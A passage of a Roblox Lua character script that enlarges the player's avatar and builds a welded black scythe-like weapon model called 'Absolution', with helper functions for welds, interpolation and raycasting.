68241558,18051314,68241677,18051314 ra.MeshId,ra.OverlayTextureId,la.MeshId,la.OverlayTextureId = 68241658,18051314,68241543,18051314 t.MeshId,t.OverlayTextureId=68241695,18051314 ---------------------------------------------------- function genWeld(a,b) local w = Instance.new("Weld",a) w.Part0 = a w.Part1 = b return w end function weld(a, b) local weld = Instance.new("Weld") weld.Name = "W" weld.Part0 = a weld.Part1 = b weld.C0 = a.CFrame:inverse() * b.CFrame weld.Parent = a return weld; end ---------------------------------------------------- function Lerp(c1,c2,al) local com1 = {c1.X,c1.Y,c1.Z,c1:toEulerAnglesXYZ()} local com2 = {c2.X,c2.Y,c2.Z,c2:toEulerAnglesXYZ()} for i,v in pairs(com1) do com1[i] = v+(com2[i]-v)*al end return CFrame.new(com1[1],com1[2],com1[3]) * CFrame.Angles(select(4,unpack(com1))) end ---------------------------------------------------- newWeld = function(wp0, wp1, wc0x, wc0y, wc0z) local wld = Instance.new("Weld", wp1) wld.Part0 = wp0 wld.Part1 = wp1 wld.C0 = CFrame.new(wc0x, wc0y, wc0z) end ---------------------------------------------------- for i,v in pairs(char:children()) do if v:IsA("Hat") then v:Destroy() end end for i,v in pairs(hed:children()) do if v:IsA("Sound") then v:Destroy() end end ---------------------------------------------------- function HasntTouched(plrname) local ret = true for _, v in pairs(Touche) do if v == plrname then ret = false end end return ret end ---------------------------------------------------- larm.Size = larm.Size * 2 rarm.Size = rarm.Size * 2 lleg.Size = lleg.Size * 2 rleg.Size = rleg.Size * 2 torso.Size = torso.Size * 2 hed.Size = hed.Size * 2 root.Size = root.Size * 2 ---------------------------------------------------- newWeld(torso, larm, -1.5, 1, 0) larm.Weld.C1 = CFrame.new(0, 1, 0) newWeld(torso, rarm, 1.5, 1, 0) rarm.Weld.C1 = CFrame.new(0, 1, 0) newWeld(torso, hed, 0, 3, 0) newWeld(torso, lleg, -1, -2, 0) lleg.Weld.C1 = CFrame.new(0, 1.5, 0) newWeld(torso, rleg, 1, -2, 0) rleg.Weld.C1 = CFrame.new(0, 1.5, 0) newWeld(root, torso, 0, -2, 0) torso.Weld.C1 = CFrame.new(0, -2, 0) ---------------------------------------------------- hed.face:Remove'' hed.Transparency = 0 local meshx9 = Instance.new('SpecialMesh',hed) meshx9.MeshType = 'FileMesh' meshx9.MeshId,meshx9.TextureId = 'rbxassetid://21057410','rbxassetid://122569107' meshx9.Scale = Vector3.new(2,2,2) lite = Instance.new("PointLight", torso) lite.Brightness = 14 lite.Range = 10 lite.Color = Color3.new(1, 0, 0) local hed2 = hed:Clone() hed2.CanCollide = false hed2.Parent = char hed2:ClearAllChildren() hed2.Transparency = 1 hed2.Name = "DARP" local w = Instance.new("Weld",hed2) w.Part0 = hed w.Part1 = hed2 w.C0 = CFrame.new(0,0,-0.175) z=Instance.new("SurfaceGui",hed2) z.Enabled = true z.Face = "Front" z.Adornee = hed2 z.CanvasSize = Vector2.new(100,100) local face = Instance.new("ImageLabel",z) face.Size = UDim2.new(1,-30,1,0) face.Position = UDim2.new(0,15,0,0) face.BackgroundTransparency = 1 face.Image='rbxassetid://46282671' ---------------------------------------------------- local m = Instance.new("Model") m.Name = "Absolution" p1 = Instance.new("Part", m) p1.BrickColor = BrickColor.new("Really black") p1.FormFactor = Enum.FormFactor.Custom p1.Size = Vector3.new(1, 0.600000024, 1.5) p1.CFrame = CFrame.new(67.4994888, 12.1560526, 73.0205841, 0.999972522, -3.59117985e-005, -8.00192356e-006, -1.39250187e-005, 0.358383715, -0.933530986, 5.28097153e-005, 0.933500648, 0.358406395) p1.CanCollide = false p1.Locked = true p1.Elasticity = 0 p1.BottomSurface = Enum.SurfaceType.Smooth p1.TopSurface = Enum.SurfaceType.Smooth b1 = Instance.new("SpecialMesh", p1) b1.MeshType = Enum.MeshType.Wedge b1.Name = "Mesh" b1.Scale = Vector3.new(0.400000006, 0.600000024, 0.699999928) p2 = Instance.new("Part", m) p2.BrickColor = BrickColor.new("Really black") p2.FormFactor = Enum.FormFactor.Custom p2.Size = Vector3.new(1, 2.9000001, 1) p2.CFrame = CFrame.new(67.4995728, 11.7633543, 74.2129135, -1.30959779e-005, 2.79811252e-006, 0.999972522, 0.961226642, 0.275612593, -7.50799518e-006, -0.275637805, 0.96119839, 1.01176247e-005) p2.CanCollide = false p2.Locked = true p2.Elasticity = 0 p2.BottomSurface = Enum.SurfaceType.Smooth p2.TopSurface = Enum.SurfaceType.Smooth b2 = Instance.new("BlockMesh", p2) b2.Name = "Mesh" b2.Scale = Vector3.new(0.400000006, 1, 0.400000006) p3 = Instance.new("Part", m) p3.BrickColor = BrickColor.new("Really black") p3.FormFactor = Enum.FormFactor.Custom p3.Size = Vector3.new(1, 1.20000005, 2.0999999) p3.CFrame = CFrame.new(67.4994965, 12.6401453, 73.9670334, 0.999972522, -3.52207899e-005, -8.10639358e-006, -1.61500211e-005, 0.309035271, -0.951007903, 5.24176576e-005, 0.950978875, 0.309059501) p3.CanCollide = false p3.Locked = true p3.Elasticity = 0 p3.BottomSurface = Enum.SurfaceType.Smooth p3.TopSurface = Enum.SurfaceType.Smooth b3 = Instance.new("SpecialMesh", p3) b3.MeshType = Enum.MeshType.Wedge b3.Name = "Mesh" b3.Scale = Vector3.new(0.400000006, 0.600000024, 0.699999928) p4 = Instance.new("Part", m) p4.BrickColor = BrickColor.new("Really black") p4.FormFactor = Enum.FormFactor.Custom p4.Size = Vector3.new(1, 1.43999994, 2.05000019) p4.CFrame = CFrame.new(67.4995575, 11.8683414, 76.1565704, 0.999972522, -2.5085672e-005, -1.53700166e-005, -4.86194367e-005, -0.800831437, -0.598821938, 1.9131101e-005, 0.598835468, -0.800796151) p4.CanCollide = false p4.Locked = true p4.Elasticity = 0 p4.BottomSurface = Enum.SurfaceType.Smooth p4.TopSurface = Enum.SurfaceType.Smooth b4 = Instance.new("SpecialMesh", p4) b4.MeshType = Enum.MeshType.Wedge b4.Name = "Mesh" b4.Scale = Vector3.new(0.300000012, 0.600000024, 0.699999988) p5 = Instance.new("Part", m) p5.BrickColor = BrickColor.new("Really black") p5.FormFactor = Enum.FormFactor.Custom p5.Size = Vector3.new(1, 1.20000005, 3.20000005) p5.CFrame = CFrame.new(67.4995193, 13.241991, 74.8357468, 0.999972522, -3.59118021e-005, -8.00191992e-006, -1.39250224e-005, 0.358383656, -0.933530807, 5.2809708e-005, 0.933500469, 0.358406246) p5.CanCollide = false p5.Locked = true p5.Elasticity = 0 p5.BottomSurface = Enum.SurfaceType.Smooth p5.TopSurface = Enum.SurfaceType.Smooth b5 = Instance.new("SpecialMesh", p5) b5.MeshType = Enum.MeshType.Wedge b5.Name = "Mesh" b5.Scale = Vector3.new(0.400000006, 0.600000024, 0.699999928) p6 = Instance.new("Part", m) p6.Name = "Handle" p6.BrickColor = BrickColor.new(192) p6.FormFactor = Enum.FormFactor.Custom p6.Size = Vector3.new(1.5999999, 13.6000004, 1) p6.CFrame = CFrame.new(67.5017471, 11.2780685, 66.1421967, -1.18190947e-005, 6.28741009e-006, 0.999972522, 0.99995929, -1.39772892e-005, -7.50630716e-006, -1.79708004e-005, 0.999939024, 1.01296728e-005) p6.CanCollide = false p6.Locked = true p6.Elasticity = 0 p6.BottomSurface = Enum.SurfaceType.Smooth p6.TopSurface = Enum.SurfaceType.Smooth b6 = Instance.new("BlockMesh", p6) b6.Name = "Mesh" b6.Scale = Vector3.new(0.400000006, 1, 0.400000006) p7 = Instance.new("Part", m) p7.BrickColor = BrickColor.new("Really black") p7.FormFactor = Enum.FormFactor.Custom p7.Size = Vector3.new(1, 1.00999999, 1.05000019) p7.CFrame = CFrame.new(67.5174179, 10.5228004, 76.3114471, 0.999972522, -2.76626724e-005, -6.72184569e-006, -4.7347472e-005, -0.91489929, -0.403581172, 2.14323372e-005, 0.403602213, -0.914867818) p7.CanCollide = false p7.Locked = true p7.Elasticity = 0 p7.BottomSurface = Enum.SurfaceType.Smooth p7.TopSurface = Enum.SurfaceType.Smooth b7 = Instance.new("SpecialMesh", p7) b7.MeshType = Enum.MeshType.Wedge b7.Name = "Mesh" b7.Scale = Vector3.new(0.300000012, 0.600000024, 0.699999988) p8 = Instance.new("Part", m) p8.BrickColor = BrickColor.new("Really black") p8.FormFactor = Enum.FormFactor.Custom p8.Size = Vector3.new(1, 1.00999999, 1.05000019) p8.CFrame = CFrame.new(67.5074387, 8.51285458, 76.8714371, 0.999972522, -2.76626724e-005, -6.72184387e-006, -4.73474684e-005, -0.91489917, -0.403581113, 2.14323354e-005, 0.403602153, -0.914867699) p8.CanCollide = false p8.Locked = true p8.Elasticity = 0 p8.BottomSurface = Enum.SurfaceType.Smooth p8.TopSurface = Enum.SurfaceType.Smooth b8 = Instance.new("SpecialMesh", p8) b8.MeshType = Enum.MeshType.Wedge b8.Name = "Mesh" b8.Scale = Vector3.new(0.300000012, 0.600000024, 0.699999988) p9 = Instance.new("Part", m) p9.BrickColor = BrickColor.new("Really black") p9.FormFactor = Enum.FormFactor.Custom p9.Size = Vector3.new(1, 1.07999957, 1) p9.CFrame = CFrame.new(67.5095749, 7.1092, 74.5051422, -2.60536999e-005, -5.21559741e-006, 0.999972522, 0.35323599, -0.935490847, -1.50012565e-005, 0.935460567, 0.353258699, 4.2632455e-005) p9.CanCollide = false p9.Locked = true p9.Elasticity = 0 p9.BottomSurface = Enum.SurfaceType.Smooth p9.TopSurface = Enum.SurfaceType.Smooth b9 = Instance.new("BlockMesh", p9) b9.Name = "Mesh" b9.Scale = Vector3.new(0.550000012, 1, 0.550000012) p10 = Instance.new("Part", m) p10.BrickColor = BrickColor.new("Really black") p10.FormFactor = Enum.FormFactor.Custom p10.Size = Vector3.new(1, 1.41999948, 1) p10.CFrame = CFrame.new(67.489624, 8.67401791, 72.7929764, -9.47785156e-006, -9.42233055e-006, 0.999972522, 0.292371064, 0.956263304, -7.54374832e-006, -0.956253231, 0.292334616, 1.01081387e-005) p10.CanCollide = false p10.Locked = true p10.Elasticity = 0 p10.BottomSurface = Enum.SurfaceType.Smooth p10.TopSurface = Enum.SurfaceType.Smooth b10 = Instance.new("BlockMesh", p10) b10.Name = "Mesh" b10.Scale = Vector3.new(0.400000006, 1, 0.400000006) p11 = Instance.new("Part", m) p11.BrickColor = BrickColor.new("Really black") p11.FormFactor = Enum.FormFactor.Custom p11.Size = Vector3.new(1, 1.50999951, 1) p11.CFrame = CFrame.new(67.509552, 7.11887455, 70.3475952, -1.87569385e-005, 1.80455972e-005, 0.999972522, -0.36222899, -0.932047009, -9.30004444e-006, 0.932039678, -0.362191886, 4.04359016e-005) p11.CanCollide = false p11.Locked = true p11.Elasticity = 0 p11.BottomSurface = Enum.SurfaceType.Smooth p11.TopSurface = Enum.SurfaceType.Smooth b11 = Instance.new("BlockMesh", p11) b11.Name = "Mesh" b11.Scale = Vector3.new(0.550000012, 1, 0.550000012) p12 = Instance.new("Part", m) p12.Name = "BladeCenter" p12.BrickColor = BrickColor.new("") p12.Material = Enum.Material.Concrete p12.FormFactor = Enum.FormFactor.Symmetric p12.Size = Vector3.new(1, 2, 2) p12.CFrame = CFrame.new(67.4995346, 6.83217764, 72.2514038, -0.999972522, 2.42275873e-005, 0.000103325896, -8.39982677e-005, 4.44650614e-005, -0.999960959, -4.06451727e-005, -0.999940753, -1.25430051e-005) p12.CanCollide = false p12.Locked = true p12.BottomSurface = Enum.SurfaceType.Smooth p12.TopSurface = Enum.SurfaceType.Smooth b12 = Instance.new("SpecialMesh", p12) b12.MeshType = Enum.MeshType.Brick b12.Name = "Mesh" b12.Scale = Vector3.new(0.499999911, 1, 0.699999928) p13 = Instance.new("Part", m) p13.BrickColor = BrickColor.new("Really black") p13.FormFactor = Enum.FormFactor.Custom p13.Size = Vector3.new(2.91000009, 4.3300004, 1) p13.CFrame = CFrame.new(67.5096359, 9.31026554, 73.9751816, 7.60371313e-006, 1.0943455e-005, 0.999972522, -0.119072244, -0.99284631, -7.55448127e-006, 0.992830038, -0.119038157, 1.01703836e-005) p13.CanCollide = false p13.Locked = true p13.Elasticity = 0 p13.BottomSurface = Enum.SurfaceType.Smooth p13.TopSurface = Enum.SurfaceType.Smooth b13 = Instance.new("BlockMesh", p13) b13.Name = "Mesh" b13.Scale = Vector3.new(1, 1, 0.400000006) p14 = Instance.new("Part", m) p14.BrickColor = BrickColor.new("Really black") p14.FormFactor = Enum.FormFactor.Custom p14.Size = Vector3.new(2.5, 2.17999935, 1) p14.CFrame = CFrame.new(67.4896011, 10.1621294, 72.6420059, -1.55498967e-007, -1.33476442e-005, 0.999972522, -0.462319613, 0.886669755, -7.56198779e-006, -0.886637092, -0.462338567, 1.01078904e-005) p14.CanCollide = false p14.Locked = true p14.Elasticity = 0 p14.BottomSurface = Enum.SurfaceType.Smooth p14.TopSurface = Enum.SurfaceType.Smooth b14 = Instance.new("BlockMesh", p14) b14.Name = "Mesh" b14.Scale = Vector3.new(0.400000006, 1, 0.400000006) p15 = Instance.new("Part", m) p15.BrickColor = BrickColor.new("Really black") p15.FormFactor = Enum.FormFactor.Custom p15.Size = Vector3.new(1.16999996, 4.2699995, 1) p15.CFrame = CFrame.new(67.5095901, 9.35303593, 70.6884613, -1.24399676e-005, -4.94209144e-006, 0.999972522, 0.645082474, 0.764063478, -7.52419282e-006, -0.764068604, 0.645045042, 1.0099785e-005) p15.CanCollide = false p15.Locked = true p15.Material = "Neon" p15.Elasticity = 0 p15.BottomSurface = Enum.SurfaceType.Smooth p15.TopSurface = Enum.SurfaceType.Smooth b15 = Instance.new("BlockMesh", p15) b15.Name = "Mesh" b15.Scale = Vector3.new(1, 1, 0.400000006) p16 = Instance.new("Part", m) p16.BrickColor = BrickColor.new("Really black") p16.FormFactor = Enum.FormFactor.Custom p16.Size = Vector3.new(1.68999994, 4.76000023, 1) p16.CFrame = CFrame.new(67.4996033, 9.63990211, 75.3800278, 2.98175655e-006, 1.30014914e-005, 0.999972522, 0.258795738, -0.965893507, -7.53869244e-006, 0.965865672, 0.258821338, 1.01718706e-005) p16.CanCollide = false p16.Locked = true p16.Material = "Neon" p16.Elasticity = 0 p16.BottomSurface = Enum.SurfaceType.Smooth p16.TopSurface = Enum.SurfaceType.Smooth b16 = Instance.new("BlockMesh", p16) b16.Name = "Mesh" b16.Scale = Vector3.new(1, 1, 0.400000006) p17 = Instance.new("Part", m) p17.BrickColor = BrickColor.new("Really black") p17.FormFactor = Enum.FormFactor.Custom p17.Size = Vector3.new(1.78999996, 4.21999979, 1) p17.CFrame = CFrame.new(67.499588, 9.28996372, 69.8789978, -9.50601952e-006, -9.41252802e-006, 0.999972522, 0.293352425, 0.955965877, -7.53842551e-006, -0.955955863, 0.293315947, 1.00904235e-005) p17.CanCollide = false p17.Material = "Neon" p17.Locked = true p17.Elasticity = 0 p17.BottomSurface = Enum.SurfaceType.Smooth p17.TopSurface = Enum.SurfaceType.Smooth b17 = Instance.new("BlockMesh", p17) b17.Name = "Mesh" b17.Scale = Vector3.new(1, 1, 0.400000006) p18 = Instance.new("WedgePart", m) p18.BrickColor = BrickColor.new("Black") p18.Material = "Neon" p18.Name = "BladePart1" p18.Material = Enum.Material.Concrete p18.Name = "Wedge" p18.FormFactor = Enum.FormFactor.Symmetric p18.Size = Vector3.new(1, 4, 2) p18.CFrame = CFrame.new(67.499321, 6.83199787, 69.4816895, 0.999972522, -3.68033288e-005, -4.22928351e-005, 2.29664256e-005, -1.65102574e-005, 0.999963701, -2.03872096e-005, -0.999943435, -4.84290831e-005) p18.CanCollide = false p18.Locked = true p18.BottomSurface = Enum.SurfaceType.Smooth p18.TopSurface = Enum.SurfaceType.Smooth b18 = Instance.new("SpecialMesh", p18) b18.MeshType = Enum.MeshType.Wedge b18.Name = "Mesh" b18.Scale = Vector3.new(0.499999911, 0.899999976, 0.699999928) p19 = Instance.new("WedgePart", m) p19.BrickColor = BrickColor.new("Institutional white") p19.Name = "BladePart2" p19.Material = "Neon" p19.Material = Enum.Material.Concrete p19.Name = "Wedge" p19.FormFactor = Enum.FormFactor.Symmetric p19.Size = Vector3.new(1, 4, 2) p19.CFrame = CFrame.new(67.4994736, 6.83213568, 75.0314102, -0.999972522, 3.68059118e-005, -0.000103325001, -8.40002976e-005, -4.4521752e-005, 0.999963701, 2.03864402e-005, 0.999943435, 1.26029336e-005) p19.CanCollide = false p19.Locked = true p19.BottomSurface = Enum.SurfaceType.Smooth p19.TopSurface = Enum.SurfaceType.Smooth b19 = Instance.new("SpecialMesh", p19) b19.MeshType = Enum.MeshType.Wedge b19.Name = "Mesh" b19.Scale = Vector3.new(0.499999911, 0.899999976, 0.699999928) p20 = Instance.new("Part", m) p20.BrickColor = BrickColor.new("Really black") p20.FormFactor = Enum.FormFactor.Custom p20.Size = Vector3.new(2.53000021, 2.39999938, 1) p20.CFrame = CFrame.new(67.4996414, 7.91898966, 71.4148178, -1.09432585e-005, 7.6432425e-006, 0.999972522, 0.992849231, -0.119072601, -7.55000656e-006, 0.119038492, 0.992832959, 1.01311334e-005) p20.CanCollide = false p20.Material = "Neon" p20.Locked = true p20.Elasticity = 0 p20.BottomSurface = Enum.SurfaceType.Smooth p20.TopSurface = Enum.SurfaceType.Smooth b20 = Instance.new("BlockMesh", p20) b20.Name = "Mesh" b20.Scale = Vector3.new(0.400000006, 1, 0.400000006) p21 = Instance.new("Part", m) p21.BrickColor = BrickColor.new("Really black") p21.FormFactor = Enum.FormFactor.Custom p21.Size = Vector3.new(1, 1.43999994, 1.59000015) p21.CFrame = CFrame.new(67.509613, 9.57073689, 76.6228256, 0.999972522, -2.50856156e-005, -1.53699839e-005, -4.86196222e-005, -0.800835371, -0.598824739, 1.91311228e-005, 0.59883821, -0.800800025) p21.CanCollide = false p21.Locked = true p21.Elasticity = 0 p21.BottomSurface = Enum.SurfaceType.Smooth p21.TopSurface = Enum.SurfaceType.Smooth b21 = Instance.new("SpecialMesh", p21) b21.MeshType = Enum.MeshType.Wedge b21.Name = "Mesh" b21.Scale = Vector3.new(0.300000012, 0.600000024, 0.699999988) w1 = Instance.new("Weld", p1) w1.Name = "Part_Weld" w1.Part0 = p1 w1.C0 = CFrame.new(-67.5030899, -72.5280457, -14.8209743, 1, -6.37466928e-006, 4.26825172e-005, -3.75621021e-005, 0.358411252, 0.933563769, -2.12490559e-005, -0.933563769, 0.358411252) w1.Part1 = p2 w1.C1 = CFrame.new(9.14727688, -74.5847855, -67.5001221, -4.37113883e-008, 0.961261749, -0.27563718, 0, 0.27563718, 0.961261749, 1, 4.20180868e-008, -1.2048484e-008) w2 = Instance.new("Weld", p2) w2.Name = "Part_Weld" w2.Part0 = p2 w2.C0 = CFrame.new(9.14727688, -74.5847855, -67.5001221, -4.37113883e-008, 0.961261749, -0.27563718, 0, 0.27563718, 0.961261749, 1, 4.20180868e-008, -1.2048484e-008) w2.Part1 = p3 w2.C1 = CFrame.new(-67.5030823, -74.2541809, -10.8368053, 1, -8.59976626e-006, 4.22903977e-005, -3.75621021e-005, 0.30906105, 0.951042175, -2.12490559e-005, -0.951042175, 0.30906105) w3 = Instance.new("Weld", p3) w3.Name = "Part_Weld" w3.Part0 = p3 w3.C0 = CFrame.new(-67.5030823, -74.2541809, -10.8368053, 1, -8.59976626e-006, 4.22903977e-005, -3.75621021e-005, 0.30906105, 0.951042175, -2.12490559e-005, -0.951042175, 0.30906105) w3.Part1 = p4 w3.C1 = CFrame.new(-67.5002975, -36.1002579, 68.1035233, 1, -4.10709617e-005, 9.00123541e-006, -3.82823673e-005, -0.800855637, 0.598857403, -1.73869594e-005, -0.598857403, -0.800855637) w4 = Instance.new("Weld", p4) w4.Name = "Part_Weld" w4.Part0 = p4 w4.C0 = CFrame.new(-67.5002975, -36.1002579, 68.1035233, 1, -4.10709617e-005, 9.00123541e-006, -3.82823673e-005, -0.800855637, 0.598857403, -1.73869594e-005, -0.598857403, -0.800855637) w4.Part1 = p5 w4.C1 = CFrame.new(-67.5031891, -74.611969, -14.457736, 1, -6.37466928e-006, 4.26825172e-005, -3.75621021e-005, 0.358411252, 0.933563769, -2.12490559e-005, -0.933563769, 0.358411252) w5 = Instance.new("Weld", p5) w5.Name = "Part_Weld" w5.Part0 = p5 w5.C0 = CFrame.new(-67.5031891, -74.611969, -14.457736, 1, -6.37466928e-006, 4.26825172e-005, -3.75621021e-005, 0.358411252, 0.933563769, -2.12490559e-005, -0.933563769, 0.358411252) w5.Part1 = p6 w5.C1 = CFrame.new(-11.2799978, -66.1456223, -67.5023346, -4.37113883e-008, 1, 4.37113883e-008, 0, -4.37113883e-008, 1, 1, 4.37113883e-008, 1.91068547e-015) w6 = Instance.new("Weld", p6) w6.Name = "Part_Weld" w6.Part0 = p6 w6.C0 = CFrame.new(-11.2799978, -66.1456223, -67.5023346, -4.37113883e-008, 1, 4.37113883e-008, 0, -4.37113883e-008, 1, 1, 4.37113883e-008, 1.91068547e-015) w6.Part1 = p7 w6.C1 = CFrame.new(-67.5183792, -21.1694489, 74.0717163, 1, -3.97989206e-005, 1.13026372e-005, -4.09751265e-005, -0.91493088, 0.403610349, -5.72212457e-006, -0.403610349, -0.91493088) w7 = Instance.new("Weld", p7) w7.Name = "Part_Weld" w7.Part0 = p7 w7.C0 = CFrame.new(-67.5183792, -21.1694489, 74.0717163, 1, -3.97989206e-005, 1.13026372e-005, -4.09751265e-005, -0.91493088, 0.403610349, -5.72212457e-006, -0.403610349, -0.91493088) w7.Part1 = p8 w7.C1 = CFrame.new(-67.508461, -23.234499, 73.7728119, 1, -3.97989206e-005, 1.13026372e-005, -4.09751265e-005, -0.91493088, 0.403610349, -5.72212457e-006, -0.403610349, -0.91493088) w8 = Instance.new("Weld", p8) w8.Name = "Part_Weld" w8.Part0 = p8 w8.C0 = CFrame.new(-67.508461, -23.234499, 73.7728119, 1, -3.97989206e-005, 1.13026372e-005, -4.09751265e-005, -0.91493088, 0.403610349, -5.72212457e-006, -0.403610349, -0.91493088) w8.Part1 = p9 w8.C1 = CFrame.new(-72.2151413, -19.6674671, -67.5124359, -2.77766703e-005, 0.353263557, 0.935524285, -1.84533783e-005, -0.935524285, 0.353263557, 1, -7.4510931e-006, 3.25046385e-005) w9 = Instance.new("Weld", p9) w9.Name = "Part_Weld" w9.Part0 = p9 w9.C0 = CFrame.new(-72.2151413, -19.6674671, -67.5124359, -2.77766703e-005, 0.353263557, 0.935524285, -1.84533783e-005, -0.935524285, 0.353263557, 1, -7.4510931e-006, 3.25046385e-005) w9.Part1 = p10 w9.C1 = CFrame.new(67.0792923, -29.5803547, -67.4901428, -2.24114753e-008, 0.292369425, -0.956305802, 3.04095332e-010, 0.956305802, 0.292369425, 1, 6.26159258e-009, -2.15211493e-008) w10 = Instance.new("Weld", p10) w10.Name = "Part_Weld" w10.Part0 = p10 w10.C0 = CFrame.new(67.0792923, -29.5803547, -67.4901428, -2.24114753e-008, 0.292369425, -0.956305802, 3.04095332e-010, 0.956305802, 0.292369425, 1, 6.26159258e-009, -2.15211493e-008) w10.Part1 = p11 w10.C1 = CFrame.new(-62.9921722, 32.1197624, -67.5121918, -2.88835581e-005, -0.362230271, 0.932088912, 9.3476192e-006, -0.932088912, -0.362230271, 1, -1.74967965e-006, 3.03080251e-005) w11 = Instance.new("Weld", p11) w11.Name = "Part_Weld" w11.Part0 = p11 w11.C0 = CFrame.new(-62.9921722, 32.1197624, -67.5121918, -2.88835581e-005, -0.362230271, 0.932088912, 9.3476192e-006, -0.932088912, -0.362230271, 1, -1.74967965e-006, 3.03080251e-005) w11.Part1 = p12 w11.C1 = CFrame.new(67.5028763, 72.2527161, 6.8300252, -1, -9.15522687e-005, -3.05189751e-005, 3.05161811e-005, 3.05189751e-005, -1, 9.15532e-005, -1, -3.05161811e-005) w12 = Instance.new("Weld", p12) w12.Name = "Part_Weld" w12.Part0 = p12 w12.C0 = CFrame.new(67.5028763, 72.2527161, 6.8300252, -1, -9.15522687e-005, -3.05189751e-005, 3.05161811e-005, 3.05189751e-005, -1, 9.15532e-005, -1, -3.05161811e-005) w12.Part1 = p13 w12.C1 = CFrame.new(-72.3439255, 18.054121, -67.5101624, -4.09776035e-008, -0.11906305, 0.992886722, 4.05430745e-010, -0.992886722, -0.11906305, 1, -4.47637571e-009, 4.0734399e-008) w13 = Instance.new("Weld", p13) w13.Name = "Part_Weld" w13.Part0 = p13 w13.C0 = CFrame.new(-72.3439255, 18.054121, -67.5101624, -4.09776035e-008, -0.11906305, 0.992886722, 4.05430745e-010, -0.992886722, -0.11906305, 1, -4.47637571e-009, 4.0734399e-008) w13.Part1 = p14 w13.C1 = CFrame.new(69.1140671, 24.5752277, -67.4901428, -2.4837334e-008, -0.462350011, -0.886697888, 5.64353009e-010, 0.886697888, -0.462350011, 1, -1.19839818e-008, -2.17623022e-008) w14 = Instance.new("Weld", p14) w14.Name = "Part_Weld" w14.Part0 = p14 w14.C0 = CFrame.new(69.1140671, 24.5752277, -67.4901428, -2.4837334e-008, -0.462350011, -0.886697888, 5.64353009e-010, 0.886697888, -0.462350011, 1, -1.19839818e-008, -2.17623022e-008) w14.Part1 = p15 w14.C1 = CFrame.new(47.9809418, -52.7511749, -67.5101318, -3.94735267e-008, 0.64509654, -0.764101744, -4.55740418e-010, 0.764101744, 0.64509654, 1, 2.58124242e-008, -2.98677882e-008) w15 = Instance.new("Weld", p15) w15.Name = "Part_Weld" w15.Part0 = p15 w15.C0 = CFrame.new(47.9809418, -52.7511749, -67.5101318, -3.94735267e-008, 0.64509654, -0.764101744, -4.55740418e-010, 0.764101744, 0.64509654, 1, 2.58124242e-008, -2.98677882e-008) w15.Part1 = p16 w15.C1 = CFrame.new(-75.3105469, -10.1974039, -67.5001221, -4.37113883e-008, 0.258818924, 0.965925872, 0, -0.965925872, 0.258818924, 1, 1.13133343e-008, 4.22219593e-008) w16 = Instance.new("Weld", p16) w16.Name = "Part_Weld" w16.Part0 = p16 w16.C0 = CFrame.new(-75.3105469, -10.1974039, -67.5001221, -4.37113883e-008, 0.258818924, 0.965925872, 0, -0.965925872, 0.258818924, 1, 1.13133343e-008, 4.22219593e-008) w16.Part1 = p17 w16.C1 = CFrame.new(64.0820847, -29.3829937, -67.5001373, -4.09009289e-008, 0.293349952, -0.956005633, 4.38312497e-010, 0.956005633, 0.293349952, 1, 1.15792238e-008, -3.92300876e-008) w17 = Instance.new("Weld", p17) w17.Name = "Wedge_Weld" w17.Part0 = p17 w17.C0 = CFrame.new(64.0820847, -29.3829937, -67.5001373, -4.09009289e-008, 0.293349952, -0.956005633, 4.38312497e-010, 0.956005633, 0.293349952, 1, 1.15792238e-008, -3.92300876e-008) w17.Part1 = p18 w17.C1 = CFrame.new(-67.4979324, 69.4871521, -6.82958078, 1, 3.05171125e-005, -3.05180438e-005, -3.05171125e-005, -3.05180438e-005, -1, -3.05180438e-005, 1, -3.05171125e-005) w18 = Instance.new("Weld", p18) w18.Name = "Wedge_Weld" w18.Part0 = p18 w18.C0 = CFrame.new(-67.4979324, 69.4871521, -6.82958078, 1, 3.05171125e-005, -3.05180438e-005, -3.05171125e-005, -3.05180438e-005, -1, -3.05180438e-005, 1, -3.05171125e-005) w18.Part1 = p19 w18.C1 = CFrame.new(67.4982986, -75.0367737, -6.83008671, -1, -9.15532e-005, 3.05161811e-005, 3.05189751e-005, -3.05161811e-005, 1, -9.15522687e-005, 1, 3.05189751e-005) w19 = Instance.new("Weld", p19) w19.Name = "Part_Weld" w19.Part0 = p19 w19.C0 = CFrame.new(67.4982986, -75.0367737, -6.83008671, -1, -9.15532e-005, 3.05161811e-005, 3.05189751e-005, -3.05161811e-005, 1, -9.15522687e-005, 1, 3.05189751e-005) w19.Part1 = p20 w19.C1 = CFrame.new(-16.3677292, -69.9670334, -67.5001678, -1.77821063e-010, 0.992886961, 0.119063012, -1.46926671e-009, -0.119063012, 0.992886961, 1, 1.59595731e-012, 1.47997492e-009) w20 = Instance.new("Weld", p20) w20.Name = "Part_Weld" w20.Part0 = p20 w20.C0 = CFrame.new(-16.3677292, -69.9670334, -67.5001678, -1.77821063e-010, 0.992886961, 0.119063012, -1.46926671e-009, -0.119063012, 0.992886961, 1, 1.59595731e-012, 1.47997492e-009) w20.Part1 = p21 w20.C1 = CFrame.new(-67.5104218, -38.2193756, 67.100563, 1, -4.10709617e-005, 9.00123541e-006, -3.82823673e-005, -0.800855637, 0.598857403, -1.73869594e-005, -0.598857403, -0.800855637) m.Parent = char m:MakeJoints() ---------------------------------------------------- local cor = Instance.new("Part", char.Absolution) cor.Name = "Thingy" cor.Locked = true cor.BottomSurface = 0 cor.CanCollide = false cor.Size = Vector3.new(1, 13, 1) cor.Transparency = 1 cor.TopSurface = 0 corw = Instance.new("Weld", cor) corw.Part0 = rarm corw.Part1 = cor corw.C0 = CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) corw.C1 = CFrame.new(0, 0, 0) weld1 = Instance.new("Weld", char.Absolution) weld1.Part0 = cor weld1.Part1 = p6 weld1.C0 = CFrame.new(0, 0, 0) ---------------------------------------------------- hitb = Instance.new("Part", char.Absolution) hitb.Name = "Thingy2" hitb.Locked = true hitb.BottomSurface = 0 hitb.CanCollide = false hitb.Size = Vector3.new(0, 8, 6) hitb.Transparency = 1 hitb.TopSurface = 0 weld2 = Instance.new("Weld", char.Absolution) weld2.Part0 = hitb weld2.Part1 = p12 weld2.C0 = CFrame.new(0, .6, 1) ---------------------------------------------------- function weld5(part0, part1, c0, c1) weeld=Instance.new("Weld", part0) weeld.Part0=part0 weeld.Part1=part1 weeld.C0=c0 weeld.C1=c1 return weeld end ---------------------------------------------------- function newRay(start,face,range,wat) local rey=Ray.new(start.p,(face.p-start.p).Unit*range) hit,pos=Workspace:FindPartOnRayWithIgnoreList(rey,wat) return rey,hit,pos end ---------------------------------------------------- mod5 = 